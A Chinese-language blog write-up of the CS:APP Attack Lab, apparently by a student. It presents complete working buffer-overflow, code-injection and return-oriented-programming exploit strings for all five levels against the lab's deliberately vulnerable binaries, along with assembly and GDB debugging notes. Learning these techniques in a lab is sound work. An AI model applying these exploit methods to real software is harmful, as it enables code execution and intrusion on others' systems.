CSAPP Lab:Attack Lab

发布于 2022-12-26  142 次阅读


第五章程序优化看了大半,看累了。晚上孟爷爷在卷不陪我打 CSGO,于是就开始尝试 Lab3: Attack Lab

Attack Lab 介绍

这次的 lab 有 14 页的英文文档,里面是题目的要求,也包含解题指导。相比 4 页的 Bomb lab,对读文档的耐心要求更高了,第一天晚上的时间都用来了读文档和搭建实验环境,这次搭建实验环境还遇到了点小坑。
lab 是输入攻击字符串,实现调用函数等目的,包含了对栈破坏,注入代码,ROP 攻击等方法

📦target1.tar

📄attacklab.pdf

tar -xvf target1.tar
cp -r target1 attack
cd attack/

image-20221225221111196

首先是 hex2raw 工具的使用,它可以把可见的十六进制字节码转化成攻击代码(大概我猜应该就是二进制代码了,很多字符是不可打印的)。并且工具支持 C 风格注释

使用效果如下:

image-20221225224823488

image-20221225224808476

然后实验总共有 5 关,前 3 关是攻击 ctarget,后 2 关是攻击 rtarget

image-20221226225909679

这里运行 ./ctarget -q 要用 -q ,毕竟不是 CMU 的学生,-q 的作用: Don’t send results to the grading server

image-20221225230430608

然后我发现好像不太对,正常应该是提示输入字符串的,而这里直接 RE 崩溃了。我猜可能是我用的是最新的 ubuntu22.04,可能这种不安全的代码已经无法运行了(程序应该使用了某种手段关闭了栈随机化和栈代码不可执行)。于是我切换到腾讯云服务器,在 ubuntu20.04 上能够正常运行,遂迁移实验环境,尝试 Vscode 的 SFTP 插件又折腾了一会:

image-20221225230919478

首先还是老规矩:

objdump -d ctarget > ctarget.asm

第一关

观察 getbuf 的汇编代码,可以发现 getbuf 栈帧分配了 0x28 字节的空间,也就是 40 个字节

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          call   401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      ret    
  4017be:   90                      nop
  4017bf:   90                      nop

call gets 后可以触发缓冲区溢出漏洞,当覆盖完 40 个字节后,就会覆盖返回地址,这时候我们把返回地址设为 touch1 函数的起始地址即可

(注意使用小端序,地址要反序)

52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

可以看到我们成功 PASS 了

image-20221225235019440

上面的图开始的部分全填充了0,为了凸显个性,我填成 52 也没毛病

image-20221225235115985

实验才开始,我们来使用 GDB 观察一下具体运行状况,攻击是如何产生的

image-20221226000017340

image-20221226001030871

可以看到,我们在 0x5561dca0 成功放入了希望的东西( touch1 函数的地址)

image-20221226000440400

第二关

第二关要求跳到 touch2,并且函数传入一个整型参数,参数得为 cookie 的值。不管了,先用第一关的方法直接跳转试一下

image-20221226121711279

52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ec 17 40 00 00 00 00 00

image-20221226121753642

好,FAIL 是必然的,我们需要往 %rdi 中写入 cookie,再实现跳转

但关键问题来了,我只能操控它 ret 的返回地址,怎么才能让它执行代码呢?

原来可以把代码注入到栈中,让ret 的时候返回到注入代码的起始地址,这样就能实现代码注入了!

关于如何生成注入代码的字节码,需要参考文档的附录B,也就像下面这样:

movq  $0x59b997fa, %rdi
pushq $0x4017ec
retq

把上面的代码保存为 so2.s,然后

gcc -c sol2.s
objdump -d sol2.o > sol2.asm

如下左边就是汇编代码对应的字节码

sol2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

最后 input2.txt 如下:

48 c7 c7 fa 97 b9 59        /* movq  $0x59b997fa, %rdi */
68 ec 17 40 00      /* pushq $0x4017ec */
c3      /* retq */
52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

哈哈😄,又 RE了,

image-20221226154910070

GDB 调试看一下,

image-20221226155640263

GDB 观察,发现少填充了4个字节,修改后如下:

48 c7 c7 fa 97 b9 59        /* movq  $0x59b997fa, %rdi */
68 ec 17 40 00      /* pushq $0x4017ec */
c3      /* retq */
52 52 52 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

image-20221226155728326

Nice,成功 PASS

再 GDB 观察一下胜利战果

image-20221226160022128

image-20221226160545893

可以看到执行代码 in ?? (),执行的是我们注入的代码,可惜无法 disas 看看

第三关

第三关要求跳转到 touch3 ,并且传入一个字符串指针,指向的字符串为 cookie 的值。它 hexmatch check 的时候它会根据 cookie 产生一个新字符串,其起始地址是随机的,不过问题不大,只要你传入的 sval 的字符串是 cookie 的值就没问题了。

有了前两关的经验,既然 ret 可以随意操控,我想着不如直接绕过检测,直接跳到这里

image-20221226164220602

image-20221226165846104

GDB 调试会发现通不过 validate(3),哈哈,果真naive了😅

那么字符串放哪里是一个问题,一开始尝试把字符串放在 getbuf 栈帧最顶部的位置,希望下次调用的时候不会 overwrite

35 39 62 39 39 37 66 61 00
48 c7 c7 78 dc 61 55        /* movq  $0x5561dc78, %rdi */
68 fa 18 40 00      /* pushq $0x4018fa */
c3      /* retq */
52 52 52 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
81 dc 61 55 00 00 00 00

不过还是通不过,GDB来看看原因

算得很准确,从0x5561dc81开始是注入代码

image-20221226171442321

image-20221226171729149

草,字符串开始受到影响

image-20221226172224978

好了,字符串的值被彻底破坏了

image-20221226172353515

我在检测代码里面甚至看到了书上所说的“金丝雀”代码

image-20221226172837734

回到字符串放置的问题,放 getbuf 里面肯定是不安全的,validate 的时候栈帧分配会覆盖掉字符串 ,那该怎么办呢?答案应该是放在 test 函数(调用者函数)的栈帧里

image-20221226234217842

image-20221226174058600

image-20221226175310931

哦,我知道为啥RE了,地址位宽没有留够,地址应该是64位的,8个字节

image-20221226175251763

WOC,终于过了第三关了

image-20221226175658139

48 c7 c7 a8 dc 61 55        /* movq  $0x5561dca8, %rdi */
68 fa 18 40 00      /* pushq $0x4018fa */
c3      /* retq */
52 52 52 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00 /* cookie: 59b997fa */

(cookie 放返回地址后面,就放在了上一个函数的栈帧里)

第四关

好,从第四关开始,将使用 rtarget,攻击方式不再是 Code Injection,而是 Return-Oriented Programming(ROP)

  • It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.

  • It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault.

同时会使用栈随机化栈代码不可执行的保护机制,使得原来的方法不再凑效

可以看到果真使用了栈随机化

image-20221226192421597

ROP 的攻击就是使用一系列所谓的 gadget 代码,代码的末尾需要是 ret ,这样才能执行下一条 gadget 代码。gadget 是程序代码中已经存在的,但我们可以断章取义,通过截取部分指令代码来实现酷炫攻击效果(因为指令字节码是变长的,如果截取部分,意义可能大有不同)。把一系列的 gadget 拼凑在一起,或许期望的效果就实现了。下面这是ROP 攻击原理图:

image-20221226235250789

而出题者故意给我们攻击创造了很好的条件,farm.c 中就有很多 gadget 函数的源代码,一开始你还会疑惑这么多奇怪而没用的函数是干什么用的,就是作为 gadget 代码的材料!

这里第四关我们需要实现第二关的效果。思路就是把 cookie 压倒栈上,再想办法挪到 %rdi 里。

期望找到 5f 的指令,但没有这么现成的

image-20221226200552022

image-20221226200602108

可以找到 pop %rax

image-20221226200711510

也能找到 mov rax, rdi

image-20221226200831647

image-20221226200907211

拼凑后如下:

52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00     /* pop rax */
fa 97 b9 59 00 00 00 00     /* cookie: 59b997fa */
c5 19 40 00 00 00 00 00     /* rdi <- rax */
ec 17 40 00 00 00 00 00     /* address of function touch2 */

image-20221227000010041

image-20221226202107757

Nice,有了之前踩过坑的经历(返回地址是8个字节,小端序记着反序),一次成功!

image-20221226202627439

第五关

第5关,要求用 ROP 复现第3关的要求

这个实现有些复杂了,甚至 CMU 教授在手册里面劝学生可以放弃了,完成前4关你已经可以得到95的实验好分数了。我谈一下思考思路吧

首先字符串得存进去,有第三关的经验我们知道肯定只能放在“栈底”(不能被 validate 函数的栈帧覆盖掉),换句话说字符串得放在 touch3 函数地址的后面,否则会被破坏。由于栈是随机化的,起始地址不固定,那么该如何搞到字符串的地址呢?思索下应该知道必须读 %rsp 寄存器的值。而且要想得到字符串的地址,必须要 %rsp 上一个偏移量才能得到。然而手册给的字节码表里面就是没有 add 指令,这让我产生大大的问好。通过看了下网上的做法,真有从 gadget 里截取找到了 add $0x37, %al 这样指令的做法,不过我觉得比较有道理的是用 gadget 里面的add_xy 现成的函数,并且它是里面唯一有注释的(划重点暗示😏)

这个 add_xy 函数有大用处

image-20221226210657679

image-20221226210735000

add_xy 函数后,它有两个参数 rdirsi,我们需要一个参数放 rsp的值,一个参数放偏移量 offset,先试着把 rdi 里放 rsp 的值

找到了 mov rax rdi

image-20221226214704149

mov rsp, rax 也可以办到

image-20221226211642395

image-20221226211709923

这是 pop rax

image-20221226211729450

image-20221226211751640

期望能有传到 %rsi 的寄存器,可惜搜索汇编代码后一个都没有

c

那就尝试传到 %esi 寄存器

找到 mov ecx, esi

image-20221226212402674

顺藤摸瓜,再找谁能传到 ecx,发现mov edx, ecx可以办到,后两个 38 c9 称作 functional nops

image-20221226213224015

image-20221226213448426

继续顺藤摸瓜,好,mov eax, edx,perfect,这样 eax 里的 offset 就能运出来啦

image-20221226213351180

下面是草稿本上的思考过程与笔记:

image-20221227002003380

Nice,一次正确,终于顺利通过了 Attack Lab

image-20221226220250717

完整注入代码+注释,经过这么多磨砺,对地址的理解也更精准了,字符串偏移量 offset 一次算对

image-20221226220621640

手敲字节码真是有趣啊🤗

52 52 52 52 52 52 52 52 52 52
52 52 52 52 52 52 52 52 52 52
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00     /* rax <- rsp */
a2 19 40 00 00 00 00 00     /* rdi <- rax */
cc 19 40 00 00 00 00 00     /* pop rax */
48 00 00 00 00 00 00 00     /* offset = 9 * 8 = 72 */
dd 19 40 00 00 00 00 00     /* edx <- eax */
34 1a 40 00 00 00 00 00     /* ecx <- edx */
13 1a 40 00 00 00 00 00     /* esi <- ecx */
d6 19 40 00 00 00 00 00     /* rax <- rdi + rsi */
a2 19 40 00 00 00 00 00     /* rdi <- rax */
fa 18 40 00 00 00 00 00     /* address of function touch3 */
35 39 62 39 39 37 66 61 00  /* cookie: 59b997fa */

总结

  • hex2raw 真是个神奇的工具,能将可见的字节码(byte codes)转化成不可见的注入代码(injection codes)。实验环境也给了挑战者充分的自由空间,答案思路往往不止一种,再转化成注入代码可能性就更多了,不得不赞叹 CMU 教授的水平。
  • 相比 bomb 实验,14 页的英文手册需要更长的阅读时间,但读手册你能体会到和 CMU 巨擘教授交流的快乐,手册中除了实验要求,还提供了实验工具使用指导,实验提示和建议。循循善诱,gadgets 的准备和手册上的图表都可以看到教授的良苦用心。
  • 终于真实体验了传说中的缓冲区溢出攻击,感受到了字节码的魅力。整个攻击过程都基于 2 点:
    • gets() 函数提供了缓冲区溢出的漏洞,让攻击成为了可能
    • ret 指令是执行恶意代码的开始,通过 ret 指令和栈相互配合,能够达到执行从未设想过的代码的效果,cool

哇,写了这么多,好累呀,3519个词🥵

参考资料

CS:APP配套实验3:Attack Lab笔记

Attack Lab 笔记

【读厚 CSAPP】III Attack Lab


昨日的月光悄然退场,曦阳已经渐亮